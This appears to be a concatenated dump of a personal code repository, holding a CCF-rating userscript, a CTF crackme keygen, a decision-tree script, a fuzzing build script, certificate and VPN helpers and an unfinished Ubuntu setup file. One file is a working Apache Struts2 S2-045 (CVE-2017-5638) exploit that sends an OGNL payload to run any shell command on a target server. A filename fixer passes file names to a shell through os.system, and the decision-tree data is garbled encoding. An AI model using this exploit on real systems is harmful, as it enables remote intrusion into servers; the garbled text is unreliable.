"conf/uic": ["\u4eba\u673a\u4ea4\u4e92\u4e0e\u666e\u9002\u8ba1\u7b97", "C"], "conf/haptics": ["\u4eba\u673a\u4ea4\u4e92\u4e0e\u666e\u9002\u8ba1\u7b97", "C"], "conf/interact": ["\u4eba\u673a\u4ea4\u4e92\u4e0e\u666e\u9002\u8ba1\u7b97", "C"], "conf/acmidc": ["\u4eba\u673a\u4ea4\u4e92\u4e0e\u666e\u9002\u8ba1\u7b97", "C"], "conf/colcom": ["\u4eba\u673a\u4ea4\u4e92\u4e0e\u666e\u9002\u8ba1\u7b97", "C"], "conf/cscwd": ["\u4eba\u673a\u4ea4\u4e92\u4e0e\u666e\u9002\u8ba1\u7b97", "C"], "conf/coopis": ["\u4eba\u673a\u4ea4\u4e92\u4e0e\u666e\u9002\u8ba1\u7b97", "C"], "conf/mobiquitous": ["\u4eba\u673a\u4ea4\u4e92\u4e0e\u666e\u9002\u8ba1\u7b97", "C"], "conf/avi": ["\u4eba\u673a\u4ea4\u4e92\u4e0e\u666e\u9002\u8ba1\u7b97", "C"], "journals/jacm": ["\u4ea4\u53c9", "A"], "journals/pieee": ["\u4ea4\u53c9", "A"], "journals/bioinformatics": ["\u4ea4\u53c9", "B"], "journals/bib": ["\u4ea4\u53c9", "B"], "http://www.journals.elsevier.com/cognition/": ["\u4ea4\u53c9", "B"], "journals/tase": ["\u4ea4\u53c9", "B"], "journals/tgrs": ["\u4ea4\u53c9", "B"], "journals/tits": ["\u4ea4\u53c9", "B"], "journals/tmi": ["\u4ea4\u53c9", "B"], "journals/trob": ["\u4ea4\u53c9", "B"], "journals/tcbb": ["\u4ea4\u53c9", "B"], "journals/jcst": ["\u4ea4\u53c9", "B"], "journals/jamia": ["\u4ea4\u53c9", "B"], "journals/ploscb": ["\u4ea4\u53c9", "B"], "journals/chinaf": ["\u4ea4\u53c9", "B"], "journals/cj": ["\u4ea4\u53c9", "B"], "journals/wwwj": ["\u4ea4\u53c9", "B"], "journals/bmcbi": ["\u4ea4\u53c9", "C"], "journals/cas": ["\u4ea4\u53c9", "C"], "journals/fcsc": ["\u4ea4\u53c9", "C"], "journals/lgrs": ["\u4ea4\u53c9", "C"], "journals/titb": ["\u4ea4\u53c9", "C"], "journals/tbd": ["\u4ea4\u53c9", "C"], "http://digital-library.theiet.org/content/journals/iet-its": ["\u4ea4\u53c9", "C"], "journals/jbi": ["\u4ea4\u53c9", "C"], "journals/mia": ["\u4ea4\u53c9", "C"], "conf/www": ["\u4ea4\u53c9", "A"], "conf/rtss": ["\u4ea4\u53c9", "A"], "conf/cogsci": ["\u4ea4\u53c9", "B"], "conf/bibm": ["\u4ea4\u53c9", "B"], "conf/emsoft": ["\u4ea4\u53c9", "B"], "http://www.iscb.org/about-ismb": ["\u4ea4\u53c9", "B"], "conf/recomb": ["\u4ea4\u53c9", "B"], "conf/amia": ["\u4ea4\u53c9", "C"], "conf/apbc": ["\u4ea4\u53c9", "C"], "conf/bigdataconf": ["\u4ea4\u53c9", "C"], "conf/IEEEcloud": ["\u4ea4\u53c9", "C"], "conf/smc": ["\u4ea4\u53c9", "C"], "conf/cosit": ["\u4ea4\u53c9", "C"], "conf/isbra": ["\u4ea4\u53c9", "C"]}; var topconf = ["conf/ndss", "conf/uss", "conf/sp", "conf/ccs"]; function work() { 'use strict'; document.querySelectorAll("cite").forEach(function(cite){ if(cite.parseok) return; var link = cite.querySelector("a[href*=db\\/]"); if(!link) return; var confname = link.href.split("/").slice(4,6).join("/"); if(/asiaccs/.test(link.href)) confname="conf/asiaccs"; var data = (ccfdata[confname]); if(!data) return; //console.log(data) var type = data[0], abc = data[1]; var span = document.createElement("span"); var color = {"A":"red", "B":"blue", "C":"#7e7e7e"}[abc] var bgcolor = {"A":"#ff65c61a", "B":"#e3d7fa4a", "C":"initial"}[abc]; if(topconf.indexOf(confname)>=0) bgcolor = "#ffd98de3"; span.setAttribute("style","color:"+color+";font-weight:bold;"); cite.style.backgroundColor = bgcolor; span.innerText = "CCF "+abc+" "+type; cite.append(" "); cite.appendChild(span); //console.log(cite) cite.parseok = true; }) } (function(){ setInterval(work, 500); })(); ================================================ FILE: code/ctf.cf_crackme/zeph1/exp.cpp ================================================ #include #include /* Link: http://ctf.tf/ctfs/zeph1/ Exp Author: zjuchenyuan */ int i,j,k,l,v19,ii,v24,v23,v7,v12,v11,v16; unsigned int m,v8,v13,name_sum=0;//distinguish unsigned int from signed int is very important! char output[9999]; char* exp(char* NameString){ char name_i,name_j,name_k,name_l,name_ii; int len_name=strlen(NameString); for ( i = 0; i < len_name; name_sum = v7 ) { name_i = *(NameString + i); name_sum += name_i; if ( name_i < 74 ) v7 = 2 * name_sum * name_i; else v7 = name_sum * name_i; ++i; } v8 = name_sum % 0x724; //printf("v8=%d\n",v8); for ( j = 0; j < len_name; v8 = v12 ) { name_j = *(NameString + j); v11 = name_j + v8; if ( name_j < 64 ) v12 = 4 * v11 * name_j; else v12 = v11 * name_j; ++j; } v13 = v8 % 0x2225; //printf("v13=%d\n",v13); for ( k = 0; k < len_name; ++k ) { name_k = *(NameString + k); v16 = name_k + v13; if ( name_k < 84 ) v13 = 6 * v16 * name_k; else v13 = v16 * name_k; } for ( l = 0; l < len_name; ++l ) { name_l = *(NameString + l); v19 = name_l + v13; if ( name_l < 74 ) v13 = 5 * v19 * name_l; else v13 = v19 * name_l; } ii = 0; //printf("m=%d\n",m); for ( m = v13 % 0x2E34; ii < len_name; m = v24 ) { name_ii = *(NameString + ii); v23 = name_ii + m; if ( name_ii < 64 ) v24 = 7 * v23 * name_ii; else v24 = v23 * name_ii; ++ii; } //printf("m=%d\n",m); sprintf(output, "%X%lu", m, m); //puts(output); return output; } int main(){ char NameString[9999]; printf("Input Your Name: "); gets(NameString);//example: chenyuan printf("Your Serial No: "); puts(exp(NameString));//example: 93622A222472684066 } ================================================ FILE: code/ctf.cf_crackme/zeph1/readme.txt ================================================ Try to write a valid keygen for this crackme. If you manage to do this without patching, then feel free to send a tutorial+keygen to me or http://www.crackmes.de. Difficulty : 1/10 Good luck :) zephyrous@inbox.lv ================================================ FILE: code/decisiontree.py ================================================ # -*- coding: gbk -*- #Original From:http://blog.csdn.net/alvine008/article/details/37760639 #compatible both in python2 and python3 #use json to make the output tree look better import math import json import operator def calcShannonEnt(dataSet): #Ϣ #calculate the shannon value numEntries = len(dataSet) labelCounts = {} for featVec in dataSet: #create the dictionary for all of the data currentLabel = featVec[-1] if currentLabel not in labelCounts.keys(): labelCounts[currentLabel] = 0 labelCounts[currentLabel] += 1 shannonEnt = 0.0 for key in labelCounts: prob = float(labelCounts[key])/numEntries shannonEnt -= prob*math.log(prob,2) #get the log value return shannonEnt def splitDataSet(dataSet, axis, value): #axis=0value=̣ͻõ̵ЩɾȥĽ retDataSet = [] for featVec in dataSet: if featVec[axis] == value: #abstract the fature reducedFeatVec = featVec[:axis] reducedFeatVec.extend(featVec[axis+1:]) retDataSet.append(reducedFeatVec) return retDataSet def chooseBestFeatureToSplit(dataSet): numFeatures = len(dataSet[0])-1 baseEntropy = calcShannonEnt(dataSet) bestInfoGain = 0.0; bestFeature = -1 for i in range(numFeatures): featList = [example[i] for example in dataSet] uniqueVals = set(featList) newEntropy = 0.0 for value in uniqueVals: subDataSet = splitDataSet(dataSet, i , value) #i=0,value=̣õ̵6¼subDataSet prob = len(subDataSet)/float(len(dataSet)) newEntropy +=prob * calcShannonEnt(subDataSet) infoGain = baseEntropy - newEntropy if(infoGain > bestInfoGain): bestInfoGain = infoGain bestFeature = i return bestFeature def majorityCnt(classList): classCount = {} for vote in classList: if vote not in classCount.keys(): classCount[vote] = 0 classCount[vote] += 1 sortedClassCount = sorted(classCount.items(), key=operator.itemgetter(1), reverse=True) return sortedClassCount[0][0] def createTree(dataSet, labels): classList = [example[-1] for example in dataSet] #бÿСǡ # the type is the same, so stop classify if classList.count(classList[0]) == len(classList): #ȫǡǡ򡰷񡱣return return classList[0] # traversal all the features and choose the most frequent feature if (len(dataSet[0]) == 1):#Ϊգ return majorityCnt(classList) bestFeat = chooseBestFeatureToSplit(dataSet) #ѡõĻ bestFeatLabel = labels[bestFeat] myTree = {bestFeatLabel:{}} del(labels[bestFeat]) #get the list which attain the whole properties featValues = [example[bestFeat] for example in dataSet] uniqueVals = set(featValues) for value in uniqueVals: childDataSet = splitDataSet(dataSet, bestFeat, value) if childDataSet == []: myTree[bestFeatLabel][value] = majorityCnt(classList) else: myTree[bestFeatLabel][value] = createTree(childDataSet, labels[:]) return myTree def classify(inputTree, featLabels, testVec): firstStr = list(inputTree.keys())[0] #firstStr = (inputTree.keys())[0] secondDict = inputTree[firstStr] featIndex = featLabels.index(firstStr) for key in secondDict.keys(): if testVec[featIndex] == key: if type(secondDict[key]).__name__ == 'dict': classLabel = classify(secondDict[key], featLabels, testVec) else: classLabel = secondDict[key] return classLabel dataSet = [ ",,,,,Ӳ,".split(','), "ں,,,,,Ӳ,".split(','), "ں,,,,,Ӳ,".split(','), ",,,,,Ӳ,".split(','), "dz,,,,,Ӳ,".split(','), ",,,,԰,ճ,".split(','), "ں,,,Ժ,԰,ճ,".split(','), "ں,,,,԰,Ӳ,".split(','), "ں,,,Ժ,԰,Ӳ,".split(','), ",Ӳͦ,,,ƽ̹,ճ,".split(','), "dz,Ӳͦ,,ģ,ƽ̹,Ӳ,".split(','), "dz,,,ģ,ƽ̹,ճ,".split(','), ",,,Ժ,,Ӳ,".split(','), "dz,,,Ժ,,Ӳ,".split(','), "ں,,,,԰,ճ,".split(','), "dz,,,ģ,ƽ̹,Ӳ,".split(','), ",,,Ժ,԰,Ӳ,".split(','), ] labels = "ɫ,,,,겿,".split(',') myTree = createTree(dataSet,labels[:]) print(json.dumps(myTree,indent=4, ensure_ascii=False))#4ʾ print(classify(myTree,labels,",,,Ժ,԰,ճ".split(',')))#һδ֪ ================================================ FILE: code/dfsanexiv2/Dockerfile ================================================ FROM zjuchenyuan/angora ADD build.sh / RUN chmod +x /build.sh && /build.sh ================================================ FILE: code/dfsanexiv2/build.sh ================================================ #!/bin/bash # create our ABI list file mkdir -p /data cd /data cat /angora/llvm_mode/build/dfsan_rt/share/dfsan_abilist.txt > mylist.txt cat /angora/llvm_mode/dfsan_rt/abilibstdc++.txt >> mylist.txt # download and compile libc++, ref: https://github.com/AngoraFuzzer/Angora/blob/master/llvm_mode/libcxx/compile.sh apt install -y ninja-build LLVM_VERSION=7.0.0 CUR_DIR=/data CLANG_SRC=${CUR_DIR}/llvm_src wget http://releases.llvm.org/${LLVM_VERSION}/llvm-${LLVM_VERSION}.src.tar.xz wget http://releases.llvm.org/${LLVM_VERSION}/cfe-${LLVM_VERSION}.src.tar.xz wget http://releases.llvm.org/${LLVM_VERSION}/compiler-rt-${LLVM_VERSION}.src.tar.xz wget http://releases.llvm.org/${LLVM_VERSION}/libcxx-${LLVM_VERSION}.src.tar.xz wget http://releases.llvm.org/${LLVM_VERSION}/libcxxabi-${LLVM_VERSION}.src.tar.xz wget http://releases.llvm.org/${LLVM_VERSION}/libunwind-${LLVM_VERSION}.src.tar.xz wget http://releases.llvm.org/${LLVM_VERSION}/clang-tools-extra-${LLVM_VERSION}.src.tar.xz tar -Jxf ${CUR_DIR}/llvm-${LLVM_VERSION}.src.tar.xz mv llvm-${LLVM_VERSION}.src $CLANG_SRC cd ${CLANG_SRC}/tools tar -Jxf ${CUR_DIR}/cfe-${LLVM_VERSION}.src.tar.xz mv cfe-${LLVM_VERSION}.src clang cd ${CLANG_SRC}/tools/clang/tools tar -Jxf ${CUR_DIR}/clang-tools-extra-${LLVM_VERSION}.src.tar.xz mv clang-tools-extra-${LLVM_VERSION}.src extra cd ${CLANG_SRC}/projects tar -Jxvf ${CUR_DIR}/compiler-rt-${LLVM_VERSION}.src.tar.xz mv compiler-rt-${LLVM_VERSION}.src compiler-rt tar -Jxvf ${CUR_DIR}/libcxx-${LLVM_VERSION}.src.tar.xz mv libcxx-${LLVM_VERSION}.src libcxx tar -Jxvf ${CUR_DIR}/libcxxabi-${LLVM_VERSION}.src.tar.xz mv libcxxabi-${LLVM_VERSION}.src libcxxabi tar -Jxvf ${CUR_DIR}/libunwind-${LLVM_VERSION}.src.tar.xz mv libunwind-${LLVM_VERSION}.src libunwind cp ./libcxxabi/include/* ./libcxx/include mkdir -p /data/build_llvm && cd /data/build_llvm export CC="clang -ldl -lrt -lpthread -fsanitize=dataflow -fsanitize-blacklist=/data/mylist.txt" CXX="clang++ -ldl -lrt -lpthread -fsanitize=dataflow -fsanitize-blacklist=/data/mylist.txt" cmake -G Ninja ../llvm_src/ -DLIBCXXABI_ENABLE_SHARED=NO -DLIBCXX_ENABLE_SHARED=NO -DLIBCXX_CXX_ABI=libcxxabi ninja cxx cxxabi export CC="clang -L/data/build_llvm/lib -stdlib=libc++ -lc++abi -ldl -lrt -lpthread -fsanitize=dataflow -fsanitize-blacklist=/data/mylist.txt -ggdb" CXX="clang++ -L/data/build_llvm/lib -stdlib=libc++ -lc++abi -ldl -lrt -lpthread -fsanitize=dataflow -fsanitize-blacklist=/data/mylist.txt -ggdb" # download dependency (expat and zlib) source code cd /data sed -i 's/# deb-src/deb-src/g' /etc/apt/sources.list apt update apt source zlib1g-dev libexpat1-dev # compile expat cd /data/expat-2.1.0 ./configure --prefix=/data/expat make install -j # compile zlib cd /data/zlib-1.2.8.dfsg/ ./configure --prefix=/data/zlib make install -j # download source code cd /data wget http://exiv2.org/releases/exiv2-0.26-trunk.tar.gz tar zxvf exiv2-0.26-trunk.tar.gz cd /data/exiv2-trunk CFLAGS='-O0' CXXFLAGS='-O0' ./configure --disable-shared --with-expat=/data/expat --with-zlib=/data/zlib make clean; find . -name '*.o' -delete make -j # now we get bin/exiv2, about 44MB ================================================ FILE: code/exp.S2-045.py ================================================ #!/usr/bin/python # -*- coding: utf-8 -*- import urllib2 import httplib def exploit(url, cmd): payload = "Content-Type:%{(#_='multipart/form-data')." payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." payload += "(#_memberAccess?" payload += "(#_memberAccess=#dm):" payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." payload += "(#ognlUtil.getExcludedPackageNames().clear())." payload += "(#ognlUtil.getExcludedClasses().clear())." payload += "(#context.setMemberAccess(#dm))))." payload += "(#cmd='%s')." % cmd payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." payload += "(#p=new java.lang.ProcessBuilder(#cmds))." payload += "(#p.redirectErrorStream(true)).(#process=#p.start())." payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." payload += "(#ros.flush())}" try: headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload} request = urllib2.Request(url, headers=headers) page = urllib2.urlopen(request).read() except httplib.IncompleteRead, e: page = e.partial print(page) return page if __name__ == '__main__': import sys if len(sys.argv) != 3: print("[*] struts2_S2-045.py ") else: print('[*] CVE: 2017-5638 - Apache Struts2 S2-045') url = sys.argv[1] cmd = sys.argv[2] print("[*] cmd: %s\n" % cmd) exploit(url, cmd) ================================================ FILE: code/fixgbknames.py ================================================ """ If you have a bunch of files in Linux system whose filename is encoded with gbk, you will find `ls` cannot correctly display them, because filenames should be encoded with utf-8 under Linux. So, let's change the filename to correct encoding 'utf-8' This script can only work under Python3 """ try: import http #this is only for testing if you're using py3 except: print("This script can only work under Python3") exit(1) import os ok=0 notok = 0 for root, dirs, files in os.walk(b"."): for filename in files: filename = os.path.join(root, filename).replace(b'`',b'\\`') try: filename.decode('utf-8') ok += 1 except: print(filename) notok += 1 command = b'mv "'+filename+b'" "'+filename.decode('gbk').encode('utf-8')+b'"' os.system(command) print("changed {} files".format(notok)) print("leave {} files untouched".format(ok)) ================================================ FILE: code/getcert.py ================================================ #!/usr/bin/python usage="""Usage: ./getcert.py example example.com,www.example.com,another.example.com Note: Please set up nginx conf carefully~ Look up here -> https://github.com/zjuchenyuan/notebook/blob/master/Nginx.md """ from os import system as s import sys if len(sys.argv)!=3: print(usage) exit() name = sys.argv[1] s("test -e account.key || openssl genrsa 4096 > account.key") s("test -e acme_tiny.py || curl -O https://raw.githubusercontent.com/diafygi/acme-tiny/master/acme_tiny.py") s("test -e {name}.key || openssl genrsa 4096 > {name}.key".format(name=name)) DNSstring = 'DNS:' + ',DNS:'.join(sys.argv[2].split(",")) open("tmp.sh","w").write('openssl req -new -sha256 -key {name}.key -subj "/" -reqexts SAN -config <(cat /etc/ssl/openssl.cnf <(printf "[SAN]\\nsubjectAltName={DNSstring}")) > {name}.csr'.format(name=name,DNSstring=DNSstring)) s("bash tmp.sh&&rm -f tmp.sh") s("python acme_tiny.py --account-key account.key --csr {name}.csr --acme-dir . > {name}_temp.crt".format(name=name)) s("test -e intermediate.pem || wget -O - https://letsencrypt.org/certs/lets-encrypt-x3-cross-signed.pem > intermediate.pem") s("cat {name}_temp.crt intermediate.pem > {name}.crt && rm -f {name}_temp.crt {name}.csr".format(name=name)) ================================================ FILE: code/jshook_preload.js ================================================ if(typeof(window.RVPNSTATUS)=="undefined"){ var RVPNSTATUS = document.location.hostname.indexOf("rvpn.zju.edu.cn")!=-1; var tmp=document.location.pathname.split("/"); var ROOT; if(RVPNSTATUS){ ROOT="/"+tmp[1]+"/"+tmp[2]+"/"+tmp[3]+"/"+tmp[4]+"/"+tmp[5]+"/"; }else{ ROOT="/"; } /*ajaxhook.min.js*/ !function(t){function r(i){if(n[i])return n[i].exports;var o=n[i]={exports:{},id:i,loaded:!1};return t[i].call(o.exports,o,o.exports,r),o.loaded=!0,o.exports}var n={};return r.m=t,r.c=n,r.p="",r(0)}([function(t,r,n){n(1)(window)},function(t,r){t.exports=function(t){t.hookAjax=function(t){function r(t){return function(){return this.hasOwnProperty(t+"_")?this[t+"_"]:this.xhr[t]}}function n(r){return function(n){var i=this.xhr,o=this;return 0!=r.indexOf("on")?void(this[r+"_"]=n):void(t[r]?i[r]=function(){t[r](o)||n.apply(i,arguments)}:i[r]=n)}}function i(r){return function(){var n=[].slice.call(arguments);if(!t[r]||!t[r].call(this,n,this.xhr))return this.xhr[r].apply(this.xhr,n)}}return window._ahrealxhr=window._ahrealxhr||XMLHttpRequest,XMLHttpRequest=function(){this.xhr=new window._ahrealxhr;for(var t in this.xhr){var o="";try{o=typeof this.xhr[t]}catch(t){}"function"===o?this[t]=i(t):Object.defineProperty(this,t,{get:r(t),set:n(t)})}},window._ahrealxhr},t.unHookAjax=function(){window._ahrealxhr&&(XMLHttpRequest=window._ahrealxhr),window._ahrealxhr=void 0},t.default=t}}]); if(RVPNSTATUS){ /*fetch.js start*/ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports) : typeof define === 'function' && define.amd ? define(['exports'], factory) : (factory((global.WHATWGFetch = {}))); }(this, (function (exports) { 'use strict'; var support = { searchParams: 'URLSearchParams' in self, iterable: 'Symbol' in self && 'iterator' in Symbol, blob: 'FileReader' in self && 'Blob' in self && (function() { try { new Blob(); return true } catch (e) { return false } })(), formData: 'FormData' in self, arrayBuffer: 'ArrayBuffer' in self }; function isDataView(obj) { return obj && DataView.prototype.isPrototypeOf(obj) } if (support.arrayBuffer) { var viewClasses = [ '[object Int8Array]', '[object Uint8Array]', '[object Uint8ClampedArray]', '[object Int16Array]', '[object Uint16Array]', '[object Int32Array]', '[object Uint32Array]', '[object Float32Array]', '[object Float64Array]' ]; var isArrayBufferView = ArrayBuffer.isView || function(obj) { return obj && viewClasses.indexOf(Object.prototype.toString.call(obj)) > -1 }; } function normalizeName(name) { if (typeof name !== 'string') { name = String(name); } if (/[^a-z0-9\-#$%&'*+.^_`|~]/i.test(name)) { throw new TypeError('Invalid character in header field name') } return name.toLowerCase() } function normalizeValue(value) { if (typeof value !== 'string') { value = String(value); } return value } // Build a destructive iterator for the value list function iteratorFor(items) { var iterator = { next: function() { var value = items.shift(); return {done: value === undefined, value: value} } }; if (support.iterable) { iterator[Symbol.iterator] = function() { return iterator }; } return iterator } function Headers(headers) { this.map = {}; if (headers instanceof Headers) { headers.forEach(function(value, name) { this.append(name, value); }, this); } else if (Array.isArray(headers)) { headers.forEach(function(header) { this.append(header[0], header[1]); }, this); } else if (headers) { Object.getOwnPropertyNames(headers).forEach(function(name) { this.append(name, headers[name]); }, this); } } Headers.prototype.append = function(name, value) { name = normalizeName(name); value = normalizeValue(value); var oldValue = this.map[name]; this.map[name] = oldValue ? oldValue + ', ' + value : value; }; Headers.prototype['delete'] = function(name) { delete this.map[normalizeName(name)]; }; Headers.prototype.get = function(name) { name = normalizeName(name); return this.has(name) ? this.map[name] : null }; Headers.prototype.has = function(name) { return this.map.hasOwnProperty(normalizeName(name)) }; Headers.prototype.set = function(name, value) { this.map[normalizeName(name)] = normalizeValue(value); }; Headers.prototype.forEach = function(callback, thisArg) { for (var name in this.map) { if (this.map.hasOwnProperty(name)) { callback.call(thisArg, this.map[name], name, this); } } }; Headers.prototype.keys = function() { var items = []; this.forEach(function(value, name) { items.push(name); }); return iteratorFor(items) }; Headers.prototype.values = function() { var items = []; this.forEach(function(value) { items.push(value); }); return iteratorFor(items) }; Headers.prototype.entries = function() { var items = []; this.forEach(function(value, name) { items.push([name, value]); }); return iteratorFor(items) }; if (support.iterable) { Headers.prototype[Symbol.iterator] = Headers.prototype.entries; } function consumed(body) { if (body.bodyUsed) { return Promise.reject(new TypeError('Already read')) } body.bodyUsed = true; } function fileReaderReady(reader) { return new Promise(function(resolve, reject) { reader.onload = function() { resolve(reader.result); }; reader.onerror = function() { reject(reader.error); }; }) } function readBlobAsArrayBuffer(blob) { var reader = new FileReader(); var promise = fileReaderReady(reader); reader.readAsArrayBuffer(blob); return promise } function readBlobAsText(blob) { var reader = new FileReader(); var promise = fileReaderReady(reader); reader.readAsText(blob); return promise } function readArrayBufferAsText(buf) { var view = new Uint8Array(buf); var chars = new Array(view.length); for (var i = 0; i < view.length; i++) { chars[i] = String.fromCharCode(view[i]); } return chars.join('') } function bufferClone(buf) { if (buf.slice) { return buf.slice(0) } else { var view = new Uint8Array(buf.byteLength); view.set(new Uint8Array(buf)); return view.buffer } } function Body() { this.bodyUsed = false; this._initBody = function(body) { this._bodyInit = body; if (!body) { this._bodyText = ''; } else if (typeof body === 'string') { this._bodyText = body; } else if (support.blob && Blob.prototype.isPrototypeOf(body)) { this._bodyBlob = body; } else if (support.formData && FormData.prototype.isPrototypeOf(body)) { this._bodyFormData = body; } else if (support.searchParams && URLSearchParams.prototype.isPrototypeOf(body)) { this._bodyText = body.toString(); } else if (support.arrayBuffer && support.blob && isDataView(body)) { this._bodyArrayBuffer = bufferClone(body.buffer); // IE 10-11 can't handle a DataView body. this._bodyInit = new Blob([this._bodyArrayBuffer]); } else if (support.arrayBuffer && (ArrayBuffer.prototype.isPrototypeOf(body) || isArrayBufferView(body))) { this._bodyArrayBuffer = bufferClone(body); } else { this._bodyText = body = Object.prototype.toString.call(body); } if (!this.headers.get('content-type')) { if (typeof body === 'string') { this.headers.set('content-type', 'text/plain;charset=UTF-8'); } else if (this._bodyBlob && this._bodyBlob.type) { this.headers.set('content-type', this._bodyBlob.type); } else if (support.searchParams && URLSearchParams.prototype.isPrototypeOf(body)) { this.headers.set('content-type', 'application/x-www-form-urlencoded;charset=UTF-8'); } } }; if (support.blob) { this.blob = function() { var rejected = consumed(this); if (rejected) { return rejected } if (this._bodyBlob) { return Promise.resolve(this._bodyBlob) } else if (this._bodyArrayBuffer) { return Promise.resolve(new Blob([this._bodyArrayBuffer])) } else if (this._bodyFormData) { throw new Error('could not read FormData body as blob') } else { return Promise.resolve(new Blob([this._bodyText])) } }; this.arrayBuffer = function() { if (this._bodyArrayBuffer) { return consumed(this) || Promise.resolve(this._bodyArrayBuffer) } else { return this.blob().then(readBlobAsArrayBuffer) } }; } this.text = function() { var rejected = consumed(this); if (rejected) { return rejected } if (this._bodyBlob) { return readBlobAsText(this._bodyBlob) } else if (this._bodyArrayBuffer) { return Promise.resolve(readArrayBufferAsText(this._bodyArrayBuffer)) } else if (this._bodyFormData) { throw new Error('could not read FormData body as text') } else { return Promise.resolve(this._bodyText) } }; if (support.formData) { this.formData = function() { return this.text().then(decode) }; } this.json = function() { return this.text().then(JSON.parse) }; return this } // HTTP methods whose capitalization should be normalized var methods = ['DELETE', 'GET', 'HEAD', 'OPTIONS', 'POST', 'PUT']; function normalizeMethod(method) { var upcased = method.toUpperCase(); return methods.indexOf(upcased) > -1 ? upcased : method } function Request(input, options) { options = options || {}; var body = options.body; if (input instanceof Request) { if (input.bodyUsed) { throw new TypeError('Already read') } this.url = input.url; this.credentials = input.credentials; if (!options.headers) { this.headers = new Headers(input.headers); } this.method = input.method; this.mode = input.mode; this.signal = input.signal; if (!body && input._bodyInit != null) { body = input._bodyInit; input.bodyUsed = true; } } else { this.url = String(input); } this.credentials = options.credentials || this.credentials || 'same-origin'; if (options.headers || !this.headers) { this.headers = new Headers(options.headers); } this.method = normalizeMethod(options.method || this.method || 'GET'); this.mode = options.mode || this.mode || null; this.signal = options.signal || this.signal; this.referrer = null; if ((this.method === 'GET' || this.method === 'HEAD') && body) { throw new TypeError('Body not allowed for GET or HEAD requests') } this._initBody(body); } Request.prototype.clone = function() { return new Request(this, {body: this._bodyInit}) }; function decode(body) { var form = new FormData(); body .trim() .split('&') .forEach(function(bytes) { if (bytes) { var split = bytes.split('='); var name = split.shift().replace(/\+/g, ' '); var value = split.join('=').replace(/\+/g, ' '); form.append(decodeURIComponent(name), decodeURIComponent(value)); } }); return form } function parseHeaders(rawHeaders) { var headers = new Headers(); // Replace instances of \r\n and \n followed by at least one space or horizontal tab with a space // https://tools.ietf.org/html/rfc7230#section-3.2 var preProcessedHeaders = rawHeaders.replace(/\r?\n[\t ]+/g, ' '); preProcessedHeaders.split(/\r?\n/).forEach(function(line) { var parts = line.split(':'); var key = parts.shift().trim(); if (key) { var value = parts.join(':').trim(); headers.append(key, value); } }); return headers } Body.call(Request.prototype); function Response(bodyInit, options) { if (!options) { options = {}; } this.type = 'default'; this.status = options.status === undefined ? 200 : options.status; this.ok = this.status >= 200 && this.status < 300; this.statusText = 'statusText' in options ? options.statusText : 'OK'; this.headers = new Headers(options.headers); this.url = options.url || ''; this._initBody(bodyInit); } Body.call(Response.prototype); Response.prototype.clone = function() { return new Response(this._bodyInit, { status: this.status, statusText: this.statusText, headers: new Headers(this.headers), url: this.url }) }; Response.error = function() { var response = new Response(null, {status: 0, statusText: ''}); response.type = 'error'; return response }; var redirectStatuses = [301, 302, 303, 307, 308]; Response.redirect = function(url, status) { if (redirectStatuses.indexOf(status) === -1) { throw new RangeError('Invalid status code') } return new Response(null, {status: status, headers: {location: url}}) }; exports.DOMException = self.DOMException; try { new exports.DOMException(); } catch (err) { exports.DOMException = function(message, name) { this.message = message; this.name = name; var error = Error(message); this.stack = error.stack; }; exports.DOMException.prototype = Object.create(Error.prototype); exports.DOMException.prototype.constructor = exports.DOMException; } function fetch(input, init) { return new Promise(function(resolve, reject) { var request = new Request(input, init); if (request.signal && request.signal.aborted) { return reject(new exports.DOMException('Aborted', 'AbortError')) } var xhr = new XMLHttpRequest(); function abortXhr() { xhr.abort(); } xhr.onload = function() { var options = { status: xhr.status, statusText: xhr.statusText, headers: parseHeaders(xhr.getAllResponseHeaders() || '') }; options.url = 'responseURL' in xhr ? xhr.responseURL : options.headers.get('X-Request-URL'); var body = 'response' in xhr ? xhr.response : xhr.responseText; resolve(new Response(body, options)); }; xhr.onerror = function() { reject(new TypeError('Network request failed')); }; xhr.ontimeout = function() { reject(new TypeError('Network request failed')); }; xhr.onabort = function() { reject(new exports.DOMException('Aborted', 'AbortError')); }; xhr.open(request.method, request.url, true); if (request.credentials === 'include') { xhr.withCredentials = true; } else if (request.credentials === 'omit') { xhr.withCredentials = false; } if ('responseType' in xhr && support.blob) { xhr.responseType = 'blob'; } request.headers.forEach(function(value, name) { xhr.setRequestHeader(name, value); }); if (request.signal) { request.signal.addEventListener('abort', abortXhr); xhr.onreadystatechange = function() { // DONE (success or failure) if (xhr.readyState === 4) { request.signal.removeEventListener('abort', abortXhr); } }; } xhr.send(typeof request._bodyInit === 'undefined' ? null : request._bodyInit); }) } fetch.polyfill = true; if (true) { self.fetch = fetch; self.Headers = Headers; self.Request = Request; self.Response = Response; } exports.Headers = Headers; exports.Request = Request; exports.Response = Response; exports.fetch = fetch; Object.defineProperty(exports, '__esModule', { value: true }); }))); /*fetch.js end*/ //hook picture load, author: @zjuchenyuan var dc = HTMLDocument.prototype.createElement; HTMLDocument.prototype.createElement = function (tag, options) { var r = dc.call(document, tag, options); if(tag=="img"||tag=='a') { var x=r.setAttribute; r.setAttribute=function(a,b){ if(a=="src"||a=="href"){ if(b[0]=="/") b=b.replace("/", window.ROOT); else{ b = b.replace("http://","/web/0/http/0/"); b = b.replace("https://","/web/0/https/0/"); } } return x.call(r,a,b); } } return r; } hookAjax({ open:function(arg){ console.log(arg[1]); if(arg[1][0]=="/") arg[1]=arg[1].replace("/",ROOT); else if(arg[1].startsWith("https://")) arg[1]=arg[1].replace("https://","/web/0/https/0/"); else if(arg[1].startsWith("http://")) arg[1]=arg[1].replace("https://","/web/0/http/0/"); } }) } window.RVPNSTATUS = RVPNSTATUS; window.ROOT = ROOT; } ================================================ FILE: code/newubuntu14.txt ================================================ #全新ubuntu14.04需要运行的代码 echo """nameserver 114.114.114.114 nameserver 223.5.5.5"""> /etc/resolv.conf curl 